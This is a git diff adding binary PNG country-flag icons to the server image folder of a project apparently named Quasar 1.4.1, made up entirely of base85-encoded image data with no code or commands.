0000000000000000000000000000000000000000..3eea2e020756c41abf81f765659a864c174f89db GIT binary patch literal 482 zcmV<80UiE{P)E-@kt#fq(zr{dlL|rVbPb$^K$sU||3VAQpx%4ArjH z5b1ya|A`BUvomopF#HDspdkBi_LzW}KMcQr|NHa%@9#}BHvt3?3s4hK`pMU)fB*dj z0+88E|KR{Ac>Ck+U;lpn{`Xs!M;2%gKmf4-G0FZ zKmdWv|I6_A&;LJv{(%shYM_N64Szv401;3FKmf4-Jp?oxsQb@fum%PU8~*%)I0>i# zs2CuCKpOsn%?64Bg>X9QKhy?*00Lh)xZD#`v33$e!wuw~|G$AI0?h>~ z1_&UqlR!#;Ll9OQ{s1-n2ZahyF+c#Z0Amdp#**BUAaDHn%gD$G3dPzV3};X@Gl13bFaQJ? Y0MmSSAW;3b&Hw-a07*qoM6N<$g7#LQDb&XuwlP!fzJKM z`1`}(|Np-K;|B=>MS!;cWf13KY+LvSAb?md?)rCHn)&`aU^p;VI>1V00D#b-){yc34R8!1Sqb680000@|4`Xj5kLTv#?55wQzKoX38|NjLffBpXj6#2y{D-E;(Ab?mHL=FGT z$TP6>fK>na1GWK({(upf0nrSU5*Gz(00%w4e}91F-@gjtJbOE500a;V!?RECzy5mt@dro_q~YJM-#~SLe}OeX zNT7y4|NilCvNABd0|+1%hF>6clER!2lYo}|1|zVkK=SXOfB*mf{rC6ZKVbL)odgg- vjKFAPVE6?_e~=h|kVO7~qZmRm0R$KTYszPUy89K;00000NkvXXu0mjfB$dbi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/no.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/no.png new file mode 100755 index 0000000000000000000000000000000000000000..160b6b5b79db15e623fa55e5774e5d160b933180 GIT binary patch literal 512 zcmV+b0{{JqP)O=a{vExMP2%`MCSoB^FIcLe_%lf;|~%E5I`(IQNh}3Ao>6Q|DFUXMn*>AqQd`w z|1kXd^B;tM|Njjl{{hM0zwd6?1Q0+hV1xeud-4=Wy?p-%sO`^#2S61Jzk!N?s)6X& zzhA%p|N6}=D+{y%Ab`Lc{sL9~1=0UN4*CD*7s%9KAf+JHKs~=eB-8KTKvw|-5R1&; zzd&a|ob(5%^Z$Q=wHy9p13+aOpFRNu5F>N&`Tk_-7w>=n{RejQzkfh&Kn{rf10?_b z{tFTZibx5v&dxav5I~H7|Ney-|DWN1$%1FyagzUW0464;_wU~W1Q5$TW@eGxtUvee z3vAf*8|igK9~@*rr66bh|NrkNM8z+V zAV?>O@ek;bKfu6d00KAO>U2WB)$@6+CBT{3ok>^7H@y{~6FRKmalQ{r8#S z4^Xx6Je&%q%J2@E@iKAb=Rv<(vO+e^|@#56B5{*~0Mg z>UitA{$OPI`~Tk`F#7!u z%=q{3H<BYX7n!%ts-g52=?&#%8AHvnDo=g*(t zU{@(f3Lcro01!Y-3_uV4{%5PNloM>zp5gQNALI8Qf4=|z|KsPsAHV+n`1$wy&wt;4 zfzU5-=mP{0FqD1)U3&iJ)0b~Q-+l7x$B&=CVSxxV`w!S3U{3%6(9;Y60R+_W0~jFx z85t(6Ir{$dcL`zMKcF!E2U7}WK$QOlX#fZyMg|5;)aZo7D4hMD0TloQ7ytwk}@P)zKX@%&%DST%gMqDF&nJ<9}^SM9e)7=i1G97Xij+!pc8>s z0}TKw06GH{9{>J;c@WiqflO8wrXNp!0t65X1H*raF>uuoM}q1_&UQ zzyE+PV}l7nR6|1@Xe}f}K_mmn5Fh~%KtLN9K+(a>4Du5*FzA2|{m;zE0Q4slD+}03 zKxJTefLQ+k0*D1@+|Oq}Kt_TL2e}yHXa<;L{(_vY&wh05Jg0 z{{*4}t^?F62l4F%@9_Wk_yrLV`1}4n_xiEzG57obO$p>A_3H5V5SZl@9UBk;0Q>>~ zF#yj00jE58tx;oDUfVAO7ZA^g)(IQ}Y8G-;ZB^s|2r!a55}@Ef&J{K=uDyPxdE3 z4FCZEF#yj011R$m=m{0X((d>7`QGgNy~*X%==~K4{m|+BO$p;F|LeE!5zX@o6aMwK z|0Cnry8?)1@m-dDW`RF^3@85Z{`vj)H~*iTuYX^D_V?HC|LG63e*OOQ`}ZH9+h%{4 zR^kLX2_S%&fc^l6#;?EsK&pTL{q^hL&)-1T|AVLlN&WsC!*d@f`}fa3pay^dVgYLS z^XKpHUw?lCNw6Z2x?f-t$o}(Zg7`(je_wy{{yg~C5U2qlfPfml0Rvc4oChck)CmlD zkWL^2sNoMV9{$c|wex0wa`2z{-@pGE82$nT5F-OaFayIEq`3SAj@n=l%a5DE9w9oI(Q6o;?Ey zAdrT?A3yTg*!;YE_t&FGSk*xQBO~LVKYsuMhzTgoEGG70+cq{OrGLMF<5CR)KqmnN z5F^kJDrIFqfoA{t^Z)mszkh!J|NR@N^WQHZ-f!>?ZqK&!y&{zFIzP0wn(b{R37FH0BS}Z;-(ZzkW0R z`o;JgO8$qifBy!003d+C8bA*C^$+NzU%!${e*gOW>-S%fvmgwhvw&=%Tb23#oNZ?S z2p~`>{R0^fayL*XP!U2MkOb-c1#;`ZzkmMzW%$Pc5I_(c{;*0)g6#S8SB49$^)FDx zACSQydx0wd{{073{+Hno13&;Vu4Mp{AoLGRCWbOF`~tJSfrb9TxDaUu27mwq0KDvZ UcsT?Vy#N3J07*qoM6N<$f`X&bC;$Ke literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pa.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pa.png new file mode 100755 index 0000000000000000000000000000000000000000..9b2ee9a780955566cc7dc2f59ce175f32d3731a0 GIT binary patch literal 519 zcmV+i0{H!jP)|lVPPN>g8sl5Km-s#EI@faK0YA%?%RKmGG2!N|AD;!zX}Teef|3X z_wWCI{=muCn>GOi5DUcMXP^GBIsf;|&;M~|Oj3M||NsC0d;h_|&!7JP`u*?sum8V( z0aY`}$^xwd2q2IKptK|}gRT_Am!FIf)j$AI2PS_*H2ec11_potVu8EfUYUvEKf`}G z`1lE^`X5*+Sm$r%-@k!200a<=Rv$}~=bu-f|Ns5_|IfewfBrH6Nrpdvs+^pde*a>f6qSrfAZn~Z?Fa+2||AuS*t4lqXH%-ra!^K00G3r z@ax~7e+)2nAoSxWko^y??$?YNza~t8coi7j009Kl08{<<|1U847wF+XP}P60U;n*# z@9*{N{$9Nb{(u|?WHSN*&{SqkP0pSkP;|=6L&63i zfEXEE-vV95@Z%rDuRkCLl>P7efnPxL{(%8d!yj-G00Mvj0{}mHT?%@XEt>!U002ov JPDHLkV1lK4=}rIu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pe.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pe.png new file mode 100755 index 0000000000000000000000000000000000000000..62a04977fb2b29b96d01ffef3b88b6bf2ff05862 GIT binary patch literal 397 zcmV;80doF{P)@|A6@UbB2E)`X3x9D*gjYK@dOyv49j-R|ARv|Nb!om5Pi12buAo@&A8j1_q}8 z|NqCt{Qv#?|DQiV^2?@8009Kn!0`Y7lcx-S{{qo}h;n3b`}Y4|zksS4Wo3aj00a;V z*zEsM)xUqEs|Es~YOn@|-@kzx00M{wh#7&Zfj0j6!|?mhe@uX+0cadR0D+zK=P$&S z1T_5l12i2VfWS`r`v>f&U-&gJf}I2qKwu{UjsNuvF#Z0+ASnqp<}V}$85tQ7(W#^a2}2+PDh3E3#;-`R r2#VqJ=b;e{^dbb<+Crtk03g5s0zF}bJ8sS=00000NkvXXu0mjfKVzU% literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pf.png new file mode 100755 index 0000000000000000000000000000000000000000..771a0f652254b4e891fc73910aab38967864da54 GIT binary patch literal 498 zcmV3lobsI zohi_A`bB&J!~)dH$ngL7lczwX3_#UDxxarw>LBRX?|;94{rmL`$Yzn1{l&ll5I~Ht zU%nI;6$RPw9|VBf|1(_vbYnFmA3K-0+yDOt{~_StKSoBzkDopP1Q63dnCt(82%zd$ zpFb}6I_2!oo##J&nDhVtbEpQW0tSEpVuGrMivIupee<8UpWZS`Uj1hH_v_am-&g;K z1CTfW0R#{WvT7jw$rQ2Wy6P|4+kZd)xq2}(*g=aGrk)Yxu73al#Db(Bq?4D0-N;b? z5G()RfB&pB<@s4TkY)e;`2!F@EcYcO{->q=ymt>64xqsK^^5b@FIO-F$h{9?`~e2* zUv?FhqZcm%1P~}#|Nj2NBq_=8`#0mCzd$+0-@loGnqiRuWPl>)F9-k?0|XG`aR!E8 ou!#JF#Q1|6-w+1S#{dBa0Kx%7Vg$%BF8}}l07*qoM6N<$g2}Akn*aa+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pg.png new file mode 100755 index 0000000000000000000000000000000000000000..10d6233496c10e52ead975c5a504459fad68ffb8 GIT binary patch literal 593 zcmV-X0Hv=@BjaQ|F{1AU+wpQ{$Kys{`!CTH>0fVKL!SX0Ad1a`1cQJ=-<7ptZmH9SAnX3 z{Q_yQ`~BbL*ME+m|K)!Dcl`DLKS&U$0U&@t8vg$M`{&P}#F!W*N5{%vzvln`{r&f^ z{||ospYrSf)?fc0{rZ3A*Z(w-2B2bq00L=XVPVP4%$zZO`i8aZ($dmav$E#>{B`Z@ zum6{R{h$5&|A}A!9e(}a_zUO_pbY>4IGm#s06-9cg3a4XeYH!D;D>_*`V5R3;NTtr z%*@^Mq=>M$LXVh`5jChqDeaf800L?F_U+sH_3M8E<^KOyQ&ao$p literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ph.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ph.png new file mode 100755 index 0000000000000000000000000000000000000000..b89e15935d9daf25173f89a36d8111824fda5db5 GIT binary patch literal 538 zcmV+#0_FXQP)N~0_Y@w0Al+04@f;`V3_{@|8#9F=K6XQ9UY*azdwKd1Cc)=8bAo50U&@_7#Kb? zFg*PK|H1$NTnr5Nxw#FRn^&xvtbK0f`#-;cuKxpc)t_H~fDExeq6ZmH0|XFI1NZ;` zGXMXp{AUnj_^>}zDz4B$`$1}#7U0X2MOU=aELU!7sY=Kr&1{QvMCSsj$|2dLpM12Fg)7ytqY zsKMy}yX6c^FZ@4woIyZ63`(G)I*8l(j07*qoM6N<$f~Z~XumAu6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pk.png new file mode 100755 index 0000000000000000000000000000000000000000..e9df70ca4d63a979e6bcea2399263c081ce5eaeb GIT binary patch literal 569 zcmV-90>=G`P)`{xe>ko^7oADI06=l8$gn`UeR2p|@S@&Et-|M&0Ts{jIsi2(+HrUEqpC9EW^)CAOaJl^^9-%lBC8BHP081)#ChQGgo zHUI<=3(zGH+B`^Tu)Z%{q{PpYS&%;j+KluCr=pK*_e;5D)h=t+bKO_wx|Lu6N(?HnJ zN6`lu;-7zgR^V0GaA(7wCwqWF2h;!%KrH_l5Kj8_?>EpHKuhXR);;uSzaAK9KY#yZW@T0p zQ2G1+FVF^n0AhUp{`o&J`0?k5YKbbt8;l4>j(9ExfB*vkhsr>Vq>*li00000NkvXX Hu0mjfu=^7c literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pl.png new file mode 100755 index 0000000000000000000000000000000000000000..d413d010b5b097c4e0a4604eba86dad79567ed16 GIT binary patch literal 374 zcmV-+0g3*JP)Ab?mv3iQ8Nu5A{|6C_|Nk>HFfjc`0biay0|+1% z2B@O{$c+Ek03##gzdwHf0*Hl3)etG5lK=vU1?W~rxN0!OqXDP`Ab?mH`1u+7`u;zA z_W#cxhChG)!_n{G|9=A+zrl>(AX#bYe+w4^1Q6Is4VEzI_51&? zUm!LT$@u9L&^Z7B1a=Zw2xL66B2?87%l|Mi00a<712fnG3~)u5+Wr7F{AKw27w8;- z00L=X`u&GNQW9*;Uxq&*os3{386YGO{rw9;K*az7#P}5)xp2gQ%0-g`0)PMm0MPYZ UsK>Njp#T5?07*qoM6N<$g4HXSwg3PC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pm.png new file mode 100755 index 0000000000000000000000000000000000000000..ba91d2c7a0de26e554979f6351d42a1a4e22de3b GIT binary patch literal 689 zcmV;i0#5yjP)#D@XkmAv!xDMMW8-mEZ&mK%|%B2@pa*J{pUD?(_ahBqlG}*TVt; zF#yj00{;H~{{a8``T70x^5Ww5-{JLFN2dS#-{Io#@$TjE?&8zZ_V@JO>E`A8`2YX_ z`~rx{;oS`3$G61pUY_{!-0$E2{{CbX;QPSJ^3BEStfg-V`n;-q6+;t+Xyw zOy)sS^8$#8OF-b~@87@v{bTs||L?z_Zq~=&zGIaZd&b4_{m<{;|Ns5^`sL5xKflEU zUjXHSP67x3F#yj01nBVe84eEr00I90|NZ{}FelkBB-0BC^O2xB85HWz)f)HsDi#s! zMLEolpK<^Iq5=Rh0M7pb=>Px;h=2d#;^FNBZtPGJ5bKP1n*{>+?(qio_5k|){tF25 z`1Sjqtv%A&PR-7P0st`p&i?}b008M5=kFQg|M&R&{r=?U4x6PnhWa{`B$w z?CApk{rU?E^8f<&008;|hy@rKe}6M^a>=kt2+9et{QJXr>zQ5ua`W#$8JQS={rbi5 z^Ctr{)6XBj7@3%V17i>%fEb@MFnj<<;{gVSbOv{z8Q{qN1r~!u@ISB;HgNQF0R$KT X>6#2<48ze<00000NkvXXu0mjf$fQr4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pn.png new file mode 100755 index 0000000000000000000000000000000000000000..aa9344f575bc92f4c1a5043e6e7d0a8b239daa64 GIT binary patch literal 657 zcmV;C0&e|@P)$VEDzr@CQtS7ytnPF#yj0 z0a0(~eP|Fd7x&oU`XvhO+V>M05dgm54eRCe)!y3s`vCp^_5Az)`uqj_{QRhrlmY-T z0M7pd#W4OILofm6?eh2PFCO>E*7Xbx0@lgN z0st`p&i?}F01o{F1pxvB0QdR->g@pe`}O_>?Enew{R9F2_ajBO3l7@{2K78Gz9u`z z008^~05Jg0{{!Vds4FN77!dx<`5YAi^1B#F4D8&$5I)oT72fOU?&Jm;1k~m5*82ws z?b$fe$;$!&F#yj01PbEP9OVUy$0!>9?*iHF&;9=9{2wXIjNS}D{P+g={1WdM4-6DF z>gCe?_5uI^`T_tk0M7per>)2uHb&;=(#87${QNQl(a`kw{Py}Y1nctu{`UwC>ihis z2n-DS{QU(1_5c9-0*DC|aR2`P{`;Tl?{DV6zkmJy$H?%Xjq&fFKfk|zXRCbma58?r#f z00G1Tv;`<3F2eQa&)+|P|NZ&>@AqGj(m#Ly0)zk56?XydpHmj-@bfY4J_0oTA3y*x rGBBhgM-@1KAF z|M~a-&+mVKfs8*8^zZj?AObQ@tXl^VK#U9w|7)um9zFT5!1JoGnu}M2{r|uJ|AC@F z;y(;9F@d=M{=L6-3m|})KsNsS&&$bh^PO0375Ag3EPt6;7?_!X=sz3*^#j#0Gyh{@ z0SF+Vlm3Z`F-Ar(?BDbM+y#c5od5B%>y$nn=KcNZ|L>nr$AC#T8JS}%RsaMLPy>UR z34^BAe{Qb-hmSD)`~82~jewZHH;sOtVgB{~2T_Lx z^M7~ue_6TzObGu%0nl7VM#g8?t^ouP$PYjMFazDG!uzbThlgL98zlelKgeJZ;~z*Z zSPxJG!?$k$0R+;(`ulr=6P)M00|Ni~>`!`VeZ#eh`fLE8Q){QmQQ=eGY$|NqCtU}^v=1iBd@fS3^8`SJ7r@8ADF ze*C{^(f_{w|JZZ@y#o+HED**2KY#i6{~yEeU;qEJ{Pzp|pOucqNnlF=0*DFdB%s0n ze*I+l{{11(um4^iSXF}z{SS2YKY#!N`GNV*AE2Jys=p_Au>JnK{@0e3zk%WO_xG>A zzkdJw^XDIk{pa6bWqzfjEk^+Y2&CaX+n+VzlIN6JC4s^J?+-}zKcEU=eEj+Q{|`_P zFrfeb|NHmfUxq&n00G3<$-qz^$iN`P!0-!({va{_z!?9)Bm)CLfB^vHpj0t%_B3$- O0000op82)aAGO;3n0AgYI#891D4N?IF|Ns4E{L7&Dm*MXp#y@|U|NLS4 z{rmr)KmTFmmra`h0*Hly38?u0llM=#nEx6H|J4!x{U`A6pVzdvv{Rd?JIrI9L zs`Fos+0`Q4a^C}Q0+k5A1KaQ$>Lf<6lK=vUh2aka(D+|}f9<^YM_B9kC$A?0Z|}3+ z`ptao7t>dSY6f5^0o~2O01!YR8-T_G^}PA>yZ7X8cHUpx=KlJ_{+sC?ST#h$AD{+c zSpNn30U&@_7``$5{_{tYU-I{#-$2g*Lz_YNHw#c5FVJd`!65YaF9ZRd1Q0-s48{x$ s?-&?Px# literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/pw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/pw.png new file mode 100755 index 0000000000000000000000000000000000000000..6178b254a5dd2d91eeaa2a2adf124b6dba0af27f GIT binary patch literal 550 zcmV+>0@?kEP)~nkZ zGRMDC%7~XK0S0Tx8Wd7-QG59jKr9SQAk|O4{{Q=*0jSzY^rW5C9>)KFc0aM(`^fh9 z|Np=Kfe=u&EDs~YzkdJ$!~!z=-~YcrJO42FE6xsAYGq`2_Mbt_P-yG_e|4Mhx&31J z|LZSE!|%TgKvw|-5ED@OU$BE2n0|Z9O=M(v1mpqrFfl%gR9?uy{Oi{rkOq*RfB%6# z1PCA|pp${Bfd()#{N!P|4fj41<69Aq$E=K>;Tryc4F(7xpbZRv|AD;q^*8I6-->Vz zfB*5n`o{nM2Peo6f5F}W+3*h_fS7<7;^vxc*?8?`g7w0kCk@cHxaHDByoH$n$~K0fYN5BQR!wAqjL2Kmai^lz(OTgcO%Q oK%!9YKcr{|u^AZn7ytqc0H_5zuk@Q*SpWb407*qoM6N<$f;OS^T>t<8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/py.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/py.png new file mode 100755 index 0000000000000000000000000000000000000000..cb8723c06408828ce68a932ff472daabecc64139 GIT binary patch literal 473 zcmV;~0Ve*5P)@|4`Xj5kLT%`al?B=W5I`&pU%&omV`KRD53KJ$2txq_ zg7fbmh|k3I@68*40Al&@kBy(1nSq%Zss!k?M~{APS@-YvZ#JJG201x|0gQ}qez5@r z5EI0wa6>`h%cteq@9Mue|Ns2{KQdro`19u4 z9*F+^0|+3-w;#WAv9bOIX#?r_2Xj8qX@CF21pWab0}C_Lljko10*H}8@M3d^)Z>@G zf!6*0!vH4#gGo5!|DS*V{{HzdC&9L6!fAj26p=v+03Zy*=I{f8|9_}7o838uP_pBd z=z9{Sra^iHOE|+IC{ z-`~G~{{ZRVfB*dX11A6d`CYbrEkFRVK#Yg0UeQ$d`q2ZhA|Uz&)bIy{egR1#X&Imb zfB<4bR{ihazwp{dkXn!mkfPsU#_wMs1hfID1|Wb~;Esc6TU=EJGWFLlunkbN!Q9_} zL0)432p}e)sSwo=4bd$f5a~a^fBpd(3|0LbOac`E1P}{Q!+)sq|NsB}pI=e{a>g%& z)4?|U{s;0mNCQ9sG5v!Z57O~Jp}QY!5N0Be0)lgG%);U`26kn-@hOg zU%!6+4+cOs(0HIde9xZz`}Onxub&LUB0x(30+2WcIRJn#2ut|?gWYu1Cf+!-K%B8# zdf?1WA}#uZ8oj7u>$I1i0Al&`=O0k%-@icgAIJnM0xA6maSq6BK-ECw|NZ*S`0Lj% z1_pot6puj;05Ax`F!=umqj7^frO?t|3^&I1kxUq9yECc+jQpY84SWH_0#pxl$?v~F z@*hy-KN0|X07U)z`4{NpU%#2aHUI<=%a31wK(7Du52Oc(|3O^?R1IN+RRjI-n*kVB z3=9AP#PZ|EACPLGJ%9cJNh|>9B%spYzZw7h1%?tp0I_@ndg9MNE>313@6R75NcceF zkr51-#U+7;F#`Sf7i0rK0I_`g_NQ&Zji7_t0d_@@ozArL?Su`s;*Q{AKpRQ~TD44PX+*q00taD0I@Lq1k(S2nt`tR{g)9*1H=ZfhCe_Je;NM%1^NLXfPkU&2dGq1gcanC zzsyWb(hLmW7#V^70~+_6f#nZ_(jSmgFakOWAb=Pd7`8Gn`~pjZT=;x%FbfOAzdzu3 l1(F{a{)I#17yR-T)##NTdjqb^wzQ(`1@?t)Ix4MUXz556teM9A7Ic zq_@itH|pv>q+zrjZJ^Hx5bj=fD{5McI3ol<@^-l_@~tZGV7p>1CU&qG~{YccyC-q z$8~P)6sG{nMmQy85K$E6L33rja$x-b9$ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ru.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ru.png new file mode 100755 index 0000000000000000000000000000000000000000..47da4214fd9edb383687c1d4f84fe8b42a51ceb2 GIT binary patch literal 420 zcmV;V0bBlwP)X|NRSO0LlM<{-BURBqYRGSojej zfLOL~|EH_V_~;P>Nc10*D0|Jxss< zFi1)Q<$$6LU}rIc*dU*QNFV}+9T))>0|XG`SD?F)5CbX~O$rDA0t^5@iDe$xIAIn5 O0000N_~0!B1ZtR02zJmAl3i>|Nr}+@!x-t zvcLa8?7#n*fB$3p|L;$z$Rx)9zm`4EX`B2HAb?mPX21FhQ~^@@2dMNf!=L~E|NQ+A zWdHd6KUK1c=hsc9f8Rnyezh^=0R#{e(Ek5GMIci_s{j0D`2GL?@4p}ozrlKzzsUIh zhw0@n(cNzYfer%*AeP_1{{8vS`0Fp&84w#lmi+$#)ARI~X!Y&+KyeWsW`<9n00M~d z^G^m==F0#79{mS71ZX;t`~_q%fY`tPf!Mzw;*3o4FJA8j2p|?NkT1UdXZrG=;TOYy zh@M|qNhT&CJ~jq`0Ac}pl#vl6#K7 zFA)9u_3syi0VMzY2QmHtx&Qtu@&7&0&HxaAAvs6^7=(cU7?W7&6Z-$piRe`dyDK`^ zN$WO$zWL=wEu!PO?Vu9@iVSM&8cWvf2p~p=WCn&G3_$lI&>tl77dYY}Tp)vm0U*Et X__=7oxWDB`00000NkvXXu0mjfV`BRN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sa.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sa.png new file mode 100755 index 0000000000000000000000000000000000000000..b4641c7e8b0dd79aafaa73babdb525d3d2dc6a8e GIT binary patch literal 551 zcmV+?0@(eDP)4!1u&@QJ10&`rk^HbMk8Ee|uIe&H zS+;4$DbWCt7$DsBz5oJg0IGiW@flDZ69W^F_wDDmUw?kFvatRB^XvPsAO9KtfBpI8 z%a6}8Lb5=`00G1TbjJVx|9}4ZVWnuJEUfzZ$EVZx<$*voWzTGcp~$d(=+V{_?X+ z3y#kPS_RYq5I`UeU<=TsD9Bk~@o?qi&=DPd(?v86a{(`&&3I*E&g8|Wo?Sn;v*0j086Wc~d66UYT>00&^E24DBZ$$%)DV9SRUYEY{Wn z85tspN%!Z^Q&_X+!-^Gee*b1;`1hkUW~HJ2(d(c7|`w2)m##KhU^#|s1eh2YzMVW-Z(;)C{QJl7?-Rp6DTaSP8U8UK5I_L2Ffe?nu66~hU^Xzg zV`^IR|NmbGhChsd{xGln!xZ`Z|DQkqe?!SHn>GOi5KsdU{eSZ0I}_6%bMu4$|G#2j z_zP0e_xu0e-~WI8{{Q>e|6jj=B8;-KKpOx8hy`TyKZd`5nT(9?%F2RO|M~TQ@}K{E zz)C@?e?v4d{QeEp01!YxcLP=bXJGj0<#nFn|DXSVfvSK1-v%}nhwkOu|GvKejg0<-0ptJwK&1cy1oE`H<`Z?5M+~$7{9gq& zn~(3mv&(;P@Bi|05T(EW{(k!9>4UEid{_Ab1OPDr&i@1e0Q5gX)c>UW0I2)_6d3&w~i*%}NQ0G05Jg0{{#gAwk6j%|K36Wcrx-Z zDBuV5-R-~I;@8;l*yr}=_xShx{`~y_{Td7!{r>#`1^@zxvDKIVAJ?B1c2ZXvZZlkB uU;qZ}2Vg*eW0eWa_yywvNgf7(00RJ0?>)A@UfIF`0000~{{6QA+oUi>E@sC6|Npy9I|mRz%!e*p z2Rq5%zu9WWBC0CAb^-aHZc7E^YzcK`=8X^WVaOP zAZs{XYh)0l^y~V&U!Q;f1_jw4fB*tH>G!)IzutbUPS7xun>*B|^YmYFnaxh5oFnsv|ie?b{2U7L_4Fkgm jhERtq_4+^_K!5=N1|KO))1zs%00000NkvXXu0mjf8-+Z0 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sd.png new file mode 100755 index 0000000000000000000000000000000000000000..eaab69eb78776f8593b41c8fdc3fd65a86119a0a GIT binary patch literal 492 zcmV`tbb&P~tyW8d(D~GxMiUp8x`gh2bB=pZ|ZjUUI!&{yK1G;4d%$ zIuA;MS%3cg{`2Rrii*m`ix&X`h=t(`1IH^)u0vdsLXv;@{sQG7;18Jf2Mqqg05F6A i0*HaZmVqPy5MTgGElxU<64PS<0000a|fPuet^$h(7pHv_{jfB<3vn*8q{15ov!pR5qo|Ns4BVf^v!57RHO zo?l?}`yWs<(7C?=0*LYNK?X*pGKOD3v;Q#s|MUOfZxH$qCjb2cBQWFtZ$@_cPkRpn z1P}|u9|n-AAQdnT|9?TXAyk7H4FCQBl>h_~&`AvcLF)bhMS(&{8jwh^2qVzve;5D) zh>=0RIIAq+{+o}$pxEl(3%2T)`P!1-fBt~{@Pp~sA7J?W`}60ovKZgl)=2;X#KQ37 z&mWM7{{H^+4`$e}UqIEMAo>Rk|KALM|1kdh!vsX^3=B^I0*D0|DL|!?{M^6*VPKPH z00z{*-?BnHps)wJ`QKllIe-8D1EGJQNCgNWMh3}bctpOPvlbWzK!=K^+cJPc;};D5 g19O2S13-WQ0NlBGh$rR(5C8xG07*qoM6N<$f_QiWUjP6A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sg.png new file mode 100755 index 0000000000000000000000000000000000000000..dd34d6121073fffcb2fcb5b9402b3e6361cded35 GIT binary patch literal 468 zcmV;_0W1EAP)dtOYis{Le*Dj#JuDs`KNc)tl9OYUmifJZ zA4uJ=-~WIA`uFP>kj*SB3$z3vfIu4l|NYA>FaP8D^M5;ba1<8<4f|GC2UPm+H&ER# zkRGsxe?Y{*01!YRC;dKnkj2`X)zkCW_8s5b+Wvn23^5y|0jv~A0#!5q{{4%A0U&@_ zfL8pya^=_l{r?#l8F+XY{;)G~as30ko(ZTFY%s&0Ka9WsFiJ`S6$1niy`;Hnv5 zfRT}r0R;fL{~@sn5I`&p|Ni}W_wFAQ`~gBVzyJ~jk&qMs5MThRyiZo6SsHx+0000< KMNUMnLSTY6dB!#X literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sh.png new file mode 100755 index 0000000000000000000000000000000000000000..4b1d2a29107be96413eb86e64a75ac7a3ba5793d GIT binary patch literal 645 zcmYL{Z%9*77>Cd9?woAXO+#E-F%m^1b0Xy*Qky9{B^@hJqB6}jOKKPc70u1CS|Ug( z7>SA^1`5-}4+VvY=3G*k2%(8O!OWTIn!4?td(P>GANugV4?p-l@2B^fCONIbD;IAODX_{rV|BCn_NC>%qlWoHrzH=l|0Y^Rhgkwr%>N3 z(d)FjlCqjgyY4&yRH!;rb)|Z-v~HjxIkvar`*JLyzxBc-B?Ix`3*qGz4q3JAd`#LY+Xw^k(ph!n`d2H7`aI`Eh(LrOLs%9g zj93;8ws%s88WHkIqXqnSf?YSjh=@dF-}4L7dS0HFB@iNj8OY*&4>%Dn8t&*i)aXz6 zSX_wQ?~e=9UcwhrAtAf8XLVoTbE5+<^|-KK=D&>)yX6u!zrPCrbEr|4Yi(XyIGTQI zFEDsraAY{)DhUd*DN;Q?!uSxvkoT|31dF#>2L0DGeRcNZNehm>xm~}-9q?gtV@Qz` zv-lB19|m}3LHcg92}TUOb+%v(0bnUhB(5rQI9?ZY)h~Hw=%2Au&~WB@t;^kVE@F0Y z%=8f1ZN}R1MniiNxkJ!a;3!XFerfimE2A;1XJChGXJ=)MAVRubE8WFo1T(1Cmhdfa ztzC{Qms6asjkstFkFp5L#maeek84Y+NtW^Wf=SRytjpC1=BCX4NH^VxnQ`+YXocAv zR?lKskkKZN7D>{S3>4;4+gPYYq0_5iq@jsB^}M0yMT0|p`lM;R_dwbVrBg^4RRbsq Y$WB%-43-yHbAJTXS^1gPjGK@C0`m$%7XSbN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/si.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/si.png new file mode 100755 index 0000000000000000000000000000000000000000..bb1476ff5fe8e0d3af4fc6bd11e513d95fd9cccd GIT binary patch literal 510 zcmVm9@#;PEzrU@Gx(rNA|FHo^Mn<3|00G3vEO>ZAhtlWIf1*N!=PZ8p<;&lH z{~7-L`S<7dzu$lU0~x=8==VP$LqeQ==EOq)0mSn6{g=m2e$<)X`O9Zpu5&$Np~P9Kn=gZ0kf<1I-4a zUtk1c`~{K>fBu3(0U&^Y8d(1RW7^4V^6LZG89>!QBmXe{`pfY9FT=0Dj8O6)!|#7g 